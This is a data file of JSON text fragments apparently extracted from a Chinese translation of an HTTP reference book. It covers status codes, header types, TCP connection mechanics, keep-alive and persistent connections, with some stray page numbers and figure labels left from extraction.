    {"text": "客户 端包含了 Expect 首部时发起的就是条件请求。 更多有关 Expect 首部的内容请参见附录 C 中 Expect 部分 413 Request Entity Too Large 客户端发送的实体主体部分比服务器能够或者希望处理的要大时， 使用此状态码 414 Request URI Too Long 客户端所发请求中的请求 URL 比服务器能够或者希望处理的要长 时，使用此状态码 415 Unsupported Media Type 服务器无法理解或无法支持客户端所发实体的内容类型时，使用此 状态码 416 Requested Range Not 请求报文所请求的是指定资源的某个范围，而此范围无效或无法满 Satisfiable 足时，使用此状态码 417 Expectation Failed 请求的 Expect 请求首部包含了一个期望，但服务器无法满足此期 望时，使用此状态码。 更多有关 Expect 首部的内容请参见附录 C 中 Expect 部分 如果代理或其他中间应用程序有确切证据说明源端服务器会为某请 求产生一个失败的期望，就可以发送这个响应状态码 3.4.5 500～599——服务器错误状态码 有时客户端发送了一条有效请求，服务器自身却出错了。"},
    {"text": "表3-10 服务器错误状态码及原因短语 状态码 原因短语 含 义 500 Internal Server Error 服务器遇到一个妨碍它为请求提供服务的错误时，使用此状态码 501 Not Implemented 客户端发起的请求超出服务器的能力范围（比如，使用了服务器不 支持的请求方法）时，使用此状态码 HTTP报文 ｜ 69 （续） 状态码 原因短语 含 义 502 Bad Gateway 作为代理或网关使用的服务器从请求响应链的下一条链路上收到了 一条伪响应（比如，它无法连接到其父网关）时，使用此状态码 503 Service Unavailable 用来说明服务器现在无法为请求提供服务，但将来可以。"},
    {"text": "更多有关 Retry-After 首部的信息请参见 3.5.3 节 504 Gateway Timeout 与状态码 408 类似，只是这里的响应来自一个网关或代理，它们在 等待另一服务器对其请求进行响应时超时了 505 HTTP Version Not 服务器收到的请求使用了它无法或不愿支持的协议版本时，使用此 Supported 状态码。"},
    {"text": "比如，Date 首部就是一个通用首部， 每一端都可以用它来说明构建报文的时间和日期： Date: Tue, 3 Oct 1974 02:16:00 GMT • 请求首部 从名字中就可以看出，请求首部是请求报文特有的。"},
    {"text": "例如，下面的 Accept 首部就用 来告知服务器客户端会接受与其请求相符的任意媒体类型： Accept: */* • 响应首部 响应报文有自己的首部集，以便为客户端提供信息（比如，客户端在与哪种类型 的服务器进行交互）。"},
    {"text": "例如，下列 Server 首部就用来告知客户端它在与一个版 70 ｜ 第 3 章 本 1.0 的 Tiki-Hut 服务器进行交互： Server: Tiki-Hut/1.0 • 实体首部 实体首部指的是用于应对实体主体部分的首部。"},
    {"text": "例如，可以通过下列 Content-Type 首部告知应用程 序，数据是以 iso-latin-1 字符集表示的 HTML 文档： Content-Type: text/html; charset=iso-latin-1 67 • 扩展首部 扩展首部是非标准的首部，由应用程序开发者创建，但还未添加到已批准的 HTTP 规范中去。"},
    {"text": "例如，不管是构建请求报文还是响应报文，创建报文的日期和时间都是同一个意思， 因此提供这类信息的首部对这两种类型的报文来说也是通用的。"},
    {"text": "表3-11 通用的信息性首部 首 部 描 述 Connection 允许客户端和服务器指定与请求 / 响应连接有关的选项 Date5 提供日期和时间标志，说明报文是什么时间创建的 MIME-Version 给出了发送端使用的 MIME 版本 如果报文采用了分块传输编码（chunked transfer encoding）方式，就可 Trailer 以用这个首部列出位于报文拖挂（trailer）部分的首部集合 6 Transfer-Encoding 告知接收端为了保证报文的可靠传输，对报文采用了什么编码方式 Update 给出了发送端可能想要“升级”使用的新版本或协议 Via 显示了报文经过的中间节点（代理、网关） 注 5： Date 中列出了 Date 首部可接受的日期格式。"},
    {"text": "表3-12 通用缓存首部 首 部 描 述 Cache-Control 用于随报文传送缓存指示 Pragma7 另一种随报文传送指示的方式，但并不专用于缓存 68 3.5.2 请求首部 请求首部是只在请求报文中有意义的首部。"},
    {"text": "表3-13 请求的信息性首部 首 部 描 述 Client-IP8 提供了运行客户端的机器的 IP 地址 From 提供了客户端用户的 E-mail 地址 9 Host 给出了接收请求的服务器的主机名和端口号 Referer 提供了包含当前请求 URI 的文档的 URL UA-Color 提供了与客户端显示器的显示颜色有关的信息 UA-CPU10 给出了客户端 CPU 的类型或制造商 UA-Disp 提供了与客户端显示器（屏幕）能力有关的信息 UA-OS 给出了运行在客户端机器上的操作系统名称及版本 UA-Pixels 提供了客户端显示器的像素信息 User-Agent 将发起请求的应用程序名称告知服务器 1. Accept 首部 Accept 首部为客户端提供了一种将其喜好和能力告知服务器的方式，包括它们想 要什么，可以使用什么，以及最重要的，它们不想要什么。"},
    {"text": "表3-14 Accept首部 首 部 描 述 Accept 告诉服务器能够发送哪些媒体类型 Accept-Charset 告诉服务器能够发送哪些字符集 Accept-Encoding 告诉服务器能够发送哪些编码方式 Accept-Language 告诉服务器能够发送哪些语言 TE11 告诉服务器可以使用哪些扩展传输编码 69 2. 条件请求首部 有时客户端希望为请求加上某些限制。"},
    {"text": "表3-15 条件请求首部 首 部 描 述 Expect 允许客户端列出某请求所要求的服务器行为 If-Match 如果实体标记与文档当前的实体标记相匹配，就获取这份文档 12 If-Modified-Since 除非在某个指定的日期之后资源被修改过，否则就限制这个请求 If-None-Match 如果提供的实体标记与当前文档的实体标记不相符，就获取文档 If-Range 允许对文档的某个范围进行条件请求 If-Unmodified-Since 除非在某个指定日期之后资源没有被修改过，否则就限制这个请求 Range 如果服务器支持范围请求，就请求资源的指定范围 13 3. 安全请求首部 HTTP 本身就支持一种简单的机制，可以对请求进行质询 / 响应认证。"},
    {"text": "HTTP报文 ｜ 73 表3-16 安全请求首部 首 部 描 述 Authorization 包含了客户端提供给服务器，以便对其自身进行认证的数据 Cookie 客户端用它向服务器传送一个令牌——它并不是真正的安全首部，但确实 隐含了安全功能 14 Cookie2 用来说明请求端支持的 cookie 版本，参见 11.6.7 节 4. 代理请求首部 随着因特网上代理的普遍应用，人们定义了几个首部来协助其更好地工作。"},
    {"text": "表3-17 代理请求首部 首 部 描 述 Max-Forward 在 通 往 源 端 服 务 器 的 路 径 上， 将 请 求 转 发 给 其 他 代 理 或 网 关 的 最 大 次 数——与 TRACE 方法一同使用 15 Proxy-Authorization 与 Authorization 首部相同，但这个首部是在与代理进行认证时使用的 Proxy-Connection 与 Connection 首部相同，但这个首部是在与代理建立连接时使用的 3.5.3 响应首部 响应报文有自己的响应首部集。"},
    {"text": "响应首部为客户端提供了一些额外信息，比如谁在 发送响应、响应者的功能，甚至与响应相关的一些特殊指令。 这些首部有助于客户 端处理响应，并在将来发起更好的请求。"},
    {"text": "表3-18 响应的信息性首部 首 部 描 述 Age （从最初创建开始）响应持续时间 16 Public17 服务器为其资源支持的请求方法列表 Retry-After 如果资源不可用的话，在此日期或时间重试 Server 服务器应用程序软件的名称和版本 Title18 对 HTML 文档来说，就是 HTML 文档的源端给出的标题 Warning 比原因短语中更详细一些的警告报文 注 14： RFC 2616 并没有定义 Cookie 首部，在第 11 章详细讨论了该首部。"},
    {"text": "74 ｜ 第 3 章 1. 协商首部 如果资源有多种表示方法——比如，如果服务器上有某文档的法语和德语译稿， HTTP/1.1 可以为服务器和客户端提供对资源进行协商的能力。"},
    {"text": "也就是说，这是 一个首部列表，服务器会根据这些首部的内容挑选出最适合的资源版本发 送给客户端 71 2. 安全响应首部 我们已经看到过安全请求首部了，本质上这里说的就是 HTTP 的质询 / 响应认证机 制的响应侧。"},
    {"text": "用于将接收端定向到资源的（可能是新 的）位置（URL）上去 1. 内容首部 内容首部提供了与实体内容有关的特定信息，说明了其类型、尺寸以及处理它所需 的其他有用信息。"},
    {"text": "表3-22 内容首部 首 部 描 述 Content-Base20 解析主体中的相对 URL 时使用的基础 URL 72 Content-Encoding 对主体执行的任意编码方式 Content-Language 理解主体时最适宜使用的自然语言 Content-Length 主体的长度或尺寸 Content-Location 资源实际所处的位置 Content-MD5 主体的 MD5 校验和 Content-Range 在整个资源中此实体表示的字节范围 Content-Type 这个主体的对象类型 2. 实体缓存首部 通用的缓存首部说明了如何或什么时候进行缓存。"},
    {"text": "实体的缓存首部提供了与被缓存 实体有关的信息——比如，验证已缓存的资源副本是否仍然有效所需的信息，以及 更好地估计已缓存资源何时失效所需的线索。"},
    {"text": "表3-23 实体缓存首部 首 部 描 述 ETag 与此实体相关的实体标记 21 Expires 实体不再有效，要从原始的源端再次获取此实体的日期和时间 Last-Modified 这个实体最后一次被修改的日期和时间 注 20： RFC 2616 中没有定义 Content-Base 首部。"},
    {"text": "• http://www.w3.org/Protocols/rfc2616/rfc2616.txt RFC 2616，“Hypertext Transfer Protocol”，由 R. Fielding、J. Gettys、J. Mogul、 H. Frystyk、L. Mastinter、P. Leach 和 T. Berners-Lee 编写。"},
    {"text": "1 比如，你想获取 Joe 的五金商店最新的电动工具价目表： http://www.joes-hardware.com:80/power-tools.html 浏览器收到这个 URL 时，会执行图 4-1 所示的步骤。"},
    {"text": "4.1.1 TCP的可靠数据管道 HTTP 连接实际上就是 TCP 连接及其使用规则。 TCP 连接是因特网上的可靠连接。 要想正确、快速地发送数据，就需要了解 TCP 的一些基本知识。"},
    {"text": "注 2： 如果要编写复杂的 HTTP 应用程序，尤其是，希望程序能够快速运行的话，所需学习的、与 TCP 内 部原理及性能有关的知识就要比本章所讨论的内容多得多。"},
    {"text": "75 http://www.joes-hardware.com:80/power-tools.html （1）浏览器解析出主机名 www.joes-hardware.com （2）浏览器查询这个主机名的IP地址（DNS） 202.43.78.3 （3）浏览器获得端口号（80） 80 （4）浏览器发起到202.43.78.3端口80的连接 80 因特网 客户端 服务器 （202.43.78.3） （5）浏览器向服务器发送一条HTTP GET报文 因特网 客户端 服务器 （6）浏览器从服务器读取HTTP响应报文 因特网 客户端 服务器 （7）浏览器关闭连接 因特网 客户端 服务器 图 4-1 Web 浏览器通过 TCP 连接与 Web 服务器进行交互 因特网 . . . T H l m t h . x e d n i / T E G 客户端 服务器 图 4-2 TCP 会按序、无差错地承载 HTTP 数据 4.1.2 TCP流是分段的、由IP分组传送 TCP 的数据是通过名为 IP 分组（或 IP 数据报）的小数据块来发送的。"},
    {"text": "连接管理 ｜ 81 HTTP 应用层 HTTP 应用层 TSL or SSL 安全层 TCP 传输层 TCP 传输层 IP 网络层 IP 网络层 网络接口 网络接口 数据链路层 数据链路层 (a) HTTP (b) HTTPS 图 4-3 HTTP 和 HTTPS 网络协议栈 HTTP 要传送一条报文时，会以流的形式将报文数据的内容通过一条打开的 TCP 连 接按序传输。"},
    {"text": "4.1.3 保持TCP连接持续不断地运行 在任意时刻计算机都可以有几条 TCP 连接处于打开状态。 TCP 是通过端口号来保持 所有这些连接持续不断地运行。"},
    {"text": "就像公司的总机号码能将你接到前台，而 分机号可以将你接到正确的雇员位置一样，IP 地址可以将你连接到正确的计算机， 而端口号则可以将你连接到正确的应用程序上去。"},
    {"text": "82 ｜ 第 4 章 TCP TCP TCP 段#1 段#2 段#3 客户端 服务器 服务类型 数据报总长 版本 首部长度[以字 （word）为单位] （TOS） （以字节为单位） 分组ID（16位的数字） 标记 段偏移量 生存时间（TTL） 高层协议 首部校验和 源IP地址 目的IP地址 源端口 目的端口 分组IP TCP段序号 捎带的确认 段 K 首部长度 保留 窗口尺寸 （以字为单位） TCP URG AC PSH RST SYN FIN TCP校验和 紧急指针 GET /index.html HTTP/1.1<CR><LF> Host: www.joes-hardware.c 数据流中的数据块 TCP 图 4-4 承载 TCP 段的 IP 分组，它承载了 TCP 数据流中的小块数据 在图 4-5 中，有 4 条连接：A、B、C 和 D。"},
    {"text": "表4-1 TCP连接值 连 接 源IP地址 源 端 口 目的IP地址 目的端口 A 209.1.32.34 2034 204.62.128.58 4133 B 209.1.32.35 3227 204.62.128.58 4140 C 209.1.32.35 3105 207.25.71.25 80 D 209.1.33.89 5100 207.25.71.25 80 连接管理 ｜ 83 204.62.128.58 207.25.71.25 4133 4140 80 A B C D 5100 2034 3227 3105 209.1.32.34 209.1.32.35 209.1.33.89 图 4-5 4 个不同的 TCP 连接 注意，有些连接共享了相同的目的端口号（C 和 D 都使用目的端口号 80）。"},
    {"text": "表4-2 对TCP连接进行编程所需的常见套接字接口函数 套接字API调用 描 述 s = socket(<parameters>) 创建一个新的、未命名、未关联的套接字 bind(s,<local IP:port>) 向套接字赋一个本地端口号和接口 78 connect(s, <remote IP:port>) 创建一条连接本地套接字与远程主机及端口的连接 listen(s,...) 标识一个本地套接字，使其可以合法接受连接 s2 = accept(s) 等待某人建立一条到本地端口的连接 n = read(s, buffer, n) 尝试从套接字向缓冲区读取 n 个字节 n = write(s, buffer, n) 尝试从缓冲区中向套接字写入 n 个字节 close(s) 完全关闭 TCP 连接 shutdown(s,<side>) 只关闭 TCP 连接的输入或输出端 getsockopt(s,...) 读取某个内部套接字配置选项的值 setsockopt(s,...) 修改某个内部套接字配置选项的值 套接字 API 允许用户创建 TCP 的端点数据结构，将这些端点与远程服务器的 TCP 端点进行连接，并对数据流进行读写。"},
    {"text": "客户端 服务器 （S1）创建新的套接字（socket） （S2）将套接字绑定到端口80上去（bind） （S3）允许套接字进行连接（listen） （S4）等待连接（accept） （C1）获取IP地址和端口号 （C2）创建新的套接字（socket） （C3）连接到服务器IP:port上去（connect） （S5）通知应用程序有连接到来 （C4）连接成功 （S6）开始读取请求（read） （C5）发送HTTP请求（write） （C6）等待HTTP响应（read） （S7）处理HTTP请求报文 （C7） （S8）回送HTTP响应（write） 处理HTTP响应 （C8 （S9）关闭连接（close） ）关闭连接（close） 图 4-6 TCP 客户端和服务器是如何通过 TCP 套接字接口进行通信的 79 我们从 Web 服务器等待连接（参见图 4-6，S4）开始。"},
    {"text": "一旦建立了连接，客户端就会发送 HTTP 请求（参见图 4-6，C5），服务器则会读取 请求（参见图 4-6，S6）。 一旦服务器获取了整条请求报文，就会对请求进行处理， 执行所请求的动作（参见图 4-6，S7），并将数据写回客户端。 客户端读取数据（参 见图 4-6，C6），并对响应数据进行处理（参见图 4-6，C7）。"},
    {"text": "服务器 时间 DNS查询 连接 请求 处理 响应 关闭 客户端 80 图 4-7 串行 HTTP 事务的时间线 注意，与建立 TCP 连接，以及传输请求和响应报文的时间相比，事务处理时间可能 是很短的。"},
    {"text": "81 4.2.3 TCP连接的握手时延 建立一条新的 TCP 连接时，甚至是在发送任意数据之前，TCP 软件之间会交换一系 列的 IP 分组，对连接的有关参数进行沟通（参见图 4-8）。"},
    {"text": "(a) SYN (c) ACK 服务器 GET / HTTP. . . (d) HTTP/1.1 304 Not modified (b) SYN+ACK . . . 连接 时间 连接握手时延 数据传输 客户端 图 4-8 在发送数据之前，TCP 要传送两个分组来建立连接 连接管理 ｜ 87 TCP 连接握手需要经过以下几个步骤。"},
    {"text": "(2) 如果服务器接受了连接，就会对一些连接参数进行计算，并向客户端回送一个 TCP 分组，这个分组中的 SYN 和 ACK 标记都被置位，说明连接请求已被接受 （参见图 4-8b）。"},
    {"text": "TCP 连接的 ACK 分组（参见图 4-8c）通常 都足够大，可以承载整个 HTTP 请求报文 4，而且很多 HTTP 服务器响应报文都可 以放入一个 IP 分组中去（比如，响应是包含了装饰性图片的小型 HTML 文件，或 82 者是对浏览器高速缓存请求产生的 304 Not Modified 响应）。"},
    {"text": "4.2.4 延迟确认 由于因特网自身无法确保可靠的分组传输（因特网路由器超负荷的话，可以随意丢 弃分组），所以 TCP 实现了自己的确认机制来确保数据的成功传输。"},
    {"text": "由于确认报文很小，所以 TCP 允许在发往相同方向的输出数据分组中对其进行“捎 带”。 TCP 将返回的确认信息与输出的数据分组结合在一起，可以更有效地利用网 络。"},
    {"text": "为了增加确认报文找到同向传输数据分组的可能性，很多 TCP 栈都实现了一种 注 4： 因特网流量中的 IP 分组通常是几百字节，本地流量中的 IP 分组为 1500 字节左右。"},
    {"text": "4.2.5 TCP慢启动 TCP 数据传输的性能还取决于 TCP 连接的使用期（age）。 TCP 连接会随着时间进行 自我“调谐”，起初会限制连接的最大速度，如果数据成功传输，会随着时间的推移 提高传输的速度。 这种调谐被称为 TCP 慢启动（slow start），用于防止因特网的突 然过载和拥塞。 83 TCP 慢启动限制了一个 TCP 端点在任意时刻可以传输的分组数。"},
    {"text": "其次，Nagle 算 法与延迟确认之间的交互存在问题——Nagle 算法会阻止数据的发送，直到有确认 分组抵达为止，但确认分组自身会被延迟确认算法延迟 100 ～ 200 毫秒。"},
    {"text": "这类信息只会维持一小段时间，通常是所估计的 最大分段使用期的两倍（称为 2MSL，通常为 2 分钟 8）左右，以确保在这段时间内 不会创建具有相同地址和端口号的新连接。"},
    {"text": "有些操作系统会将 2MSL 设置为一个较小的值，但修改此值时要特别 注 6： 这个算法有几种变体，包括对超时和确认逻辑的修改，但基本算法会使数据的缓存比一个 TCP 段小一些。"},
    {"text": "注 7： 使用管道化连接（本章稍后介绍）时这些问题可能会更加严重，因为客户端可能会有多条报文要发送 给同一个服务器，而且不希望有时延存在。"},
    {"text": "在只有一个客户端和一台 Web 服务器的异常情况下，构建一条 TCP 连接的 4 个值： <source-IP-address, source-port, destination-IP-address, destination-port> 其中的 3 个都是固定的——只有源端口号可以随意改变： <client-IP, source-port, server-IP, 80> 客户端每次连接到服务器上去时，都会获得一个新的源端口，以实现连接的唯一性。"},
    {"text": "但由于可用源端口的数量有限（比如，60 000 个），而且在 2MSL 秒（比如，120 秒）内连接是无法重用的，连接率就被限制在了 60 000/120=500 次 / 秒。"},
    {"text": "首部说明：不应该转发Meter首部，要应 HTTP/1.1 200 OK 用假想的bill-my-credit-card选项， Cache-control: max-age=3600 且本次事务结束之后应关闭持久连接。 Connection: meter, close, bill-my-credit-card Meter: max-uses=3, max-refuses=6, dont-report 代理 客户端 服务器 图 4-9 Connection 首部允许发送端指定与连接有关的选项 HTTP 应用程序收到一条带有 Connection 首部的报文时，接收端会解析发送端 请求的所有选项，并将其应用。"},
    {"text": "9 事务1 事务2 事务3 事务4 响应 响应 响应 响应 -1 -2 -3 -4 服务器 -1 -2 -3 -4 请求 请求 请求 请求 1 连接-1 连接-2 连接-3 连接-4 时间 客户端 图 4-10 4 个事务（串行） 87 除了串行加载引入的实际时延之外，加载一幅图片时，页面上其他地方都没有动静 也会让人觉得速度很慢。"},
    {"text": "10 串行加载的另一个缺点是，有些浏览器在对象加载完毕之前无法获知对象的尺寸， 而且它们可能需要尺寸信息来决定将对象放在屏幕的什么位置上，所以在加载了足 够多的对象之前，无法在屏幕上显示任何内容。 在这种情况下，可能浏览器串行装 载对象的进度很正常，但用户面对的却是一个空白的屏幕，对装载的进度一无所知。"},
    {"text": "注 11： HTML 的设计者可以在图片等嵌入式对象的 HTML 标签中显式地添加宽高属性，以消除这种“布局 时延” 。 显式地提供了嵌入图片的宽度和高度，浏览器就可以在从服务器收到对象之前确定图形的布 局了。"},
    {"text": "4.4 并行连接 如前所述，浏览器可以先完整地请求原始的 HTML 页面，然后请求第一个嵌入对 象，然后请求第二个嵌入对象等，以这种简单的方式对每个嵌入式对象进行串行处 理。"},
    {"text": "12 因特网 服务器1 服务器2 客户端 图 4-11 页面上的每个组件都包含一个独立的 HTTP 事务 4.4.1 并行连接可能会提高页面的加载速度 包含嵌入对象的组合页面如果能（通过并行连接）克服单条连接的空载时间和带宽 88 限制，加载速度也会有所提高。"},
    {"text": "94 ｜ 第 4 章 事务2，3，4 事务1 （并行连接） 响应 响应 响应 响应 -2 服务器 - 1 -2 -3 - 1 -3 -4 请求 请求 请求 -4 1 请求 连接-1 连接-2 时间 客户端 连接-3 连接-4 （通常每个连接之间 都会有一小段软件时延） 图 4-12 4 个事务（并行） 4.4.2 并行连接不一定更快 即使并行连接的速度可能会更快，但并不一定总是更快。"},
    {"text": "如果并行加载多个对象，每 个对象都会去竞争这有限的带宽，每个对象都会以较慢的速度按比例加载，这样带 来的性能提升就很小，甚至没什么提升。"},
    {"text": "客户端可能可以打开数百个连接，但 Web 服 务器通常要同时处理很多其他用户的请求，所以很少有 Web 服务器希望出现这样的 情况。 一百个用户同时发出申请，每个用户打开 100 个连接，服务器就要负责处理 10 000 个连接。"},
    {"text": "4.4.3 并行连接可能让人“感觉”更快一些 好了，这样看来并行连接并不总是能使页面加载得更快一些。 但如前所述，即使实 际上它们并没有加快页面的传输速度，并行连接通常也会让用户觉得页面加载得更 注 14： 实际上，多条连接会产生一些额外的开销，使用并行连接装载整个页面所需的时间很可能比串行下 载的时间更长。"},
    {"text": "因此，HTTP/1.1（以及 HTTP/1.0 的各种增强版本） 允许 HTTP 设备在事务处理结束 之后将 TCP 连接保持在打开状态，以便为未来的 HTTP 请求重用现存的连接。"},
    {"text": "重用已对目标服务器打开的空闲持久连接，就可以避开缓慢的连接建立阶段。 而且， 已经打开的连接还可以避免慢启动的拥塞适应阶段，以便更快速地进行数据的传输。"},
    {"text": "持久连接有两种类型：比较老 注 15： 渐进式图片会先显示低分辨率的近似图形，然后再逐渐增加图片的分辨率，而随着渐进式图片应用 的逐步增加，这种效果就更加明显了。"},
    {"text": "4.5.2 HTTP/1.0+ keep-alive连接 大约从 1996 年开始，很多 HTTP/1.0 浏览器和服务器都进行了扩展，以支持一种被 称为 keep-alive 连接的早期实验型持久连接。 这些早期的持久连接受到了一些互操 作性设计方面问题的困扰，这些问题在后期的 HTTP/1.1 版本中都得到了修正，但 很多客户端和服务器仍然在使用这些早期的 keep-alive 连接。 图 4-13 显 示 了 keep-alive 连 接 的 一 些 性 能 优 点， 图 中 将 在 串 行 连 接 上 实 现 4 个 HTTP 事务的时间线与在一条持久连接上实现同样事务所需的时间线进行了比较。"},
    {"text": "16 91 （a）串行连接 事务1 事务2 事务3 事务4 响应 响应 响应 响应 1 2 3 4 服务器 1 2 3 4 请求 请求 请求 请求 连接1 连接2 连接3 连接4 时间 客户端 （b）持久连接 事务1 事务2 事务3 事务4 响应 响应 响应 响应 1 2 3 4 服务器 1 2 3 4 请求 请求 请求 请求 时间 客户端 图 4-13 4 个事务（串行与持久连接） 注 16： 由于去除了慢启动阶段，请求和响应时间可能也有缩减。"},
    {"text": "如果响应中没有 Connection: Keep-Alive 首部，客户端就认为 服务器不支持 keep-alive，会在发回响应报文之后关闭连接。 GET /index.html HTTP/1.0 Host: www.joes-hardware.com Connection: Keep-Alive 因特网 客户端 服务器 HTTP/1.0 200 OK Content-type: text/html Content-length: 3104 Connection: Keep-Alive ... 图 4-14 HTTP/1.0 keep-alive 事务首部的握手过程 4.5.4 Keep-Alive 选项 注意，keep-Alive 首部只是请求将连接保持在活跃状态。 发出 keep-alive 请求之 92 后，客户端和服务器并不一定会同意进行 keep-alive 会话。"},
    {"text": "这里有个 Keep-Alive 响应首部的例子，这个例子说明服务器最多还会为 另外 5 个事务保持连接的打开状态，或者将打开状态保持到连接空闲了 2 分钟之后。"},
    {"text": "客 户 端 必 须 发 送 一 个 Connection: Keep-Alive 请求首部来激活 keep-alive 连接。 • Connection: Keep-Alive 首部必须随所有希望保持持久连接的报文一起发送。 如果客户端没有发送 Connection: Keep-Alive 首部，服务器就会在那条请求 之后关闭连接。 93 • 通过检测响应中是否包含 Connection: Keep-Alive 响应首部，客户端可以判 断服务器是否会在发出响应之后关闭连接。"},
    {"text": "• 只有在无需检测到连接的关闭即可确定报文实体主体部分长度的情况下，才能 将连接保持在打开状态——也就是说实体的主体部分必须有正确的 Content- Length，有多部件媒体类型，或者用分块传输编码的方式进行了编码。"},
    {"text": "在一条 keep-alive 信道中回送错误的 Content-Length 是很糟糕的事，这样的话，事务 处理的另一端就无法精确地检测出一条报文的结束和另一条报文的开始了。"},
    {"text": "• 从技术上来讲，应该忽略所有来自 HTTP/1.0 设备的 Connection 首部字段（包 括 Connection: Keep-Alive），因为它们可能是由比较老的代理服务器误转发 的。"},
    {"text": "如果客户端正在与一台 Web 服务器对话，客 户端可以发送一个 Connection: Keep-Alive 首部来告知服务器它希望保持连接 的活跃状态。 如果服务器支持 keep-alive，就回送一个 Connection: Keep-Alive 首部，否则就不回送。"},
    {"text": "1. Connection 首部和盲中继 问题出在代理上——尤其是那些不理解 Connection 首部，而且不知道在沿着转 发链路将其发送出去之前，应该将该首部删除的代理。 很多老的或简单的代理都 是盲中继（blind relay），它们只是将字节从一个连接转发到另一个连接中去，不对 Connection 首部进行特殊的处理。"},
    {"text": "(a) Connection: Keep-Alive (b) Connection: Keep-Alive (c) Connection: (d) Connection: Keep-Alive哑代理 Keep-Alive 客户端 服务器 （c）代理会忽略连接上所有 下一条请求 新的请求，等待连接关闭。"},
    {"text": "图 4-15 keep-alive 无法与不支持 Connection 首部的代理进行互操作 这幅图中发生的情况如下所示。 (1) 在图 4-15a 中，Web 客户端向代理发送了一条报文，其中包含了 Connection: Keep-Alive 首部，如果可能的话请求建立一条 keep-alive 连接。"},
    {"text": "当 Web 服务器收到 经过代理转发的 Connection: Keep-Alive 首部时，会误以为代理（对服务器 来说，这个代理看起来就和所有其他客户端一样）希望进行 keep-alive 对话！ 对 Web 服务器来说这没什么问题——它同意进行 keep-alive 对话，并在图 4-15c 中 回送了一个 Connection: Keep-Alive 响应首部。 所以，此时 Web 服务器认为 它在与代理进行 keep-alive 对话，会遵循 keep-alive 的规则。"},
    {"text": "客户端看到这个首 部，就会认为代理同意进行 keep-alive 对话。 所以，此时客户端和服务器都认为 它们在进行 keep-alive 对话，但与它们进行对话的代理却对 keep-alive 一无所知。 (5) 由于代理对 keep-alive 一无所知，所以会将收到的所有数据都回送给客户端，然 后等待源端服务器关闭连接。 但源端服务器会认为代理已经显式地请求它将连接 保持在打开状态了，所以不会去关闭连接。 这样，代理就会挂在那里等待连接的 关闭。"},
    {"text": "(6) 客户端在图 4-15d 中收到了回送的响应报文时，会立即转向下一条请求，在 keep- 95 alive 连接上向代理发送另一条请求（参见图 4-15e）。"},
    {"text": "17 2. 代理和逐跳首部 为 避 免 此 类 代 理 通 信 问 题 的 发 生， 现 代 的 代 理 都 绝 不 能 转 发 Connection 首 部 和 所 有 名 字 出 现 在 Connection 值 中 的 首 部。 因 此， 如 果 一 个 代 理 收 到 了 一 个 Connection: Keep-Alive 首部，是不应该转发 Connection 首部，或所有名为 Keep-Alive 的首部的。"},
    {"text": "4.5.7 插入 Proxy-Connection Netscape 的浏览器及代理实现者们提出了一个对盲中继问题的变通做法，这种做法 并不要求所有的 Web 应用程序支持高版本的 HTTP。 这种变通做法引入了一个名为 Proxy-Connection 的新首部，解决了在客户端后面紧跟着一个盲中继所带来的问 题——但并没有解决所有其他情况下存在的问题。 在显式配置了代理的情况下，现 代浏览器都实现了 Proxy-Connection，很多代理都能够理解它。"},
    {"text": "如果代理是盲中继，它会将无意 义的 Proxy-Connection 首部转发给 Web 服务器，服务器会忽略此首部，不会带 来任何问题。 但如果代理是个聪明的代理（能够理解持久连接的握手动作），就用一 个 Connection 首部取代无意义的 Proxy-Connection 首部，然后将其发送给服 务器，以收到预期的效果。 图 4-16a ～图 4-16d 显示了盲中继是如何向 Web 服务器转发 Proxy-Connection 96 首部，而不带来任何问题的，Web 服务器忽略了这个首部，这样在客户端和代理， 或者代理和服务器之间就不会建立起 keep-alive 连接了。 图 4-16e ～图 4-16h 中那个 聪明的代理知道 Proxy-Connection 首部是对 keep-alive 对话的请求，它会发送自 己的 Connection: Keep-Alive 首部来建立 keep-alive 连接。"},
    {"text": "(a) Proxy-Connection: Keep-Alive (b) Proxy-Connection: Keep-Alive 哑代理 （d）没有Connection首部 （c）没有Connection首部 客户端 服务器 哑代理转发了Proxy-Connection首部，服务器将其忽略。 代理识别出了Proxy-Connection首部，同意与客户端进 行keep-alive对话，可能还会（可选地）决定与服务器 建立一条keep-alive连接。 (e) Proxy-Connection: Keep-Alive (f ) Connection: Keep-Alive 聪明的代理 (h) Connection: Keep-Alive (g) Connection: Keep-Alive 客户端 服务器 聪明的代理理解了Proxy-Connection首部，并主动 向服务器发送了一个Connection: Keep-Alive首部。 图 4-16 Proxy-Connection 首部修正了单个盲中继带来的问题 (a) (b) (c) Proxy-Connection: Keep-Alive Proxy-Connection: Keep-Alive Connection: Keep-Alive 哑代理 聪明的代理 (f) (e) (d) Connection: Keep-Alive Connection: Keep-Alive Connection: Keep-Alive 客户端 服务器 哑代理无意识地向浏览器和聪明的代理广播Keep-Alive。 (g) (h) (i) Proxy-Connection: Keep-Alive Connection: Keep-Alive Connection: Keep-Alive 聪明的代理 哑代理 （l） (k) (j) Connection: Keep-Alive Connection: Keep-Alive Connection: Keep-Alive 客户端 服务器 哑代理无意识地向聪明的代理和服务器广播Keep-Alive。 图 4-17 对有多层次代理的情况， Proxy-Connection 仍然无法解决问题 连接管理 ｜ 103 4.5.8 HTTP/1.1持久连接 HTTP/1.1 逐渐停止了对 keep-alive 连接的支持，用一种名为持久连接（persistent connection）的改进型设计取代了它。"},
    {"text": "• 发送了 Connection: close 请求首部之后，客户端就无法在那条连接上发送更 多的请求了。 • 如果客户端不想在连接上发送其他请求了，就应该在最后一条请求中发送一个 Connection: close 请求首部。"},
    {"text": "• 只有当连接上所有的报文都有正确的、自定义报文长度时——也就是说，实体主 体部分的长度都和相应的 Content-Length 一致，或者是用分块传输编码方式 98 编码的——连接才能持久保持。"},
    {"text": "• HTTP/1.1 的代理必须能够分别管理与客户端和服务器的持久连接——每个持久 连接都只适用于一跳传输。 • （由于较老的代理会转发 Connection 首部，所以）HTTP/1.1 的代理服务器不应 该与 HTTP/1.0 客户端建立持久连接，除非它们了解客户端的处理能力。"},
    {"text": "• 尽管服务器不应该试图在传输报文的过程中关闭连接，而且在关闭连接之前至少 应该响应一条请求，但不管 Connection 首部取了什么值，HTTP/1.1 设备都可 以在任意时刻关闭连接。"},
    {"text": "只要不存在可能会累积 起来的副作用，客户端都应该重试这条请求。 • 除非重复发起请求会产生副作用，否则如果在客户端收到整条响应之前连接关闭 了，客户端就必须要重新发起请求。"},
    {"text": "代理可能需要更多到服务器的连接来支持并发用户的通信，所以，如果有 N 个用户试图访问服务器的话，代理最多要维持 2 N 条到任意服务器或父代理的 连接。"},
